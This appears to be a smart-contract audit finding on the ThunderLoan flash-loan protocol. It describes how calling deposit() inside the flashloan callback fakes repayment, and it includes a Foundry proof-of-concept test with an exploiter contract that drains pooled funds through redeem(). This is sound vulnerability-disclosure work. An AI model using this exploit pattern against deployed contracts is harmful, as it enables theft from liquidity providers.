The flashloan function lacks reentrancy protection, allowing re-entry into other functions during the callback function.
Due to the lack of reentrancy protection, a malicious user can bypass the flashloan check by depositing borrowed funds back into the protocol through the function deposit() during the flashloan's executeOperation callback. After the flashloan ended, the previously deposited funds were withdrawn through the function redeem(), thereby stealing funds from the protocol.
pragma solidity 0.8.20;
import { Test, console } from "forge-std/Test.sol";
import { BaseTest, ThunderLoan } from "./BaseTest.t.sol";
import { AssetToken } from "../../src/protocol/AssetToken.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract ThunderLoanReentrancyTest is BaseTest {
uint256 constant AMOUNT = 10e18;
uint256 constant DEPOSIT_AMOUNT = AMOUNT * 100;
address liquidityProvider = address(123);
address user = address(456);
address exploiter = address(789);
MockFlashLoanExploiter mockFlashLoanExploiter;
function setUp() public override {
super.setUp();
vm.prank(user);
}
modifier setAllowedToken() {
vm.prank(thunderLoan.owner());
thunderLoan.setAllowedToken(tokenA, true);
_;
}
modifier hasDeposits() {
vm.startPrank(liquidityProvider);
tokenA.mint(liquidityProvider, DEPOSIT_AMOUNT);
tokenA.approve(address(thunderLoan), DEPOSIT_AMOUNT);
thunderLoan.deposit(tokenA, DEPOSIT_AMOUNT);
vm.stopPrank();
_;
}
function testExploit() public setAllowedToken hasDeposits {
uint256 amountToBorrow = AMOUNT * 95;
uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);
AssetToken asset = thunderLoan.getAssetFromToken(tokenA);
mockFlashLoanExploiter = new MockFlashLoanExploiter();
tokenA.mint(address(this), calculatedFee);
emit log_named_decimal_uint("underlyToken balance in AssetToken", tokenA.balanceOf(address(asset)), tokenA.decimals());
emit log_named_decimal_uint("underlyToken balance in attacker", tokenA.balanceOf(address(this)), tokenA.decimals());
console.log("***exploting***");
tokenA.transfer(address(mockFlashLoanExploiter), calculatedFee);
thunderLoan.flashloan(address(mockFlashLoanExploiter), tokenA, amountToBorrow, "");
uint256 redeemAmount = asset.balanceOf(address(this));
thunderLoan.redeem(tokenA, redeemAmount);
emit log_named_decimal_uint("underlyToken balance in AssetToken", tokenA.balanceOf(address(asset)), tokenA.decimals());
emit log_named_decimal_uint("underlyToken balance in attacker", tokenA.balanceOf(address(this)), tokenA.decimals());
}
}
contract MockFlashLoanExploiter {
function executeOperation(
address token,
uint256 amount,
uint256 fee,
address initiator,
bytes calldata
)
external
returns (bool)
{
IERC20(token).approve(msg.sender, amount + fee);
ThunderLoan(msg.sender).deposit(IERC20(token), amount + fee);
AssetToken asset = ThunderLoan(msg.sender).getAssetFromToken(IERC20(token));
uint256 redeemAmount = asset.balanceOf(address(this));
asset.transfer(initiator, redeemAmount);
return true;
}
}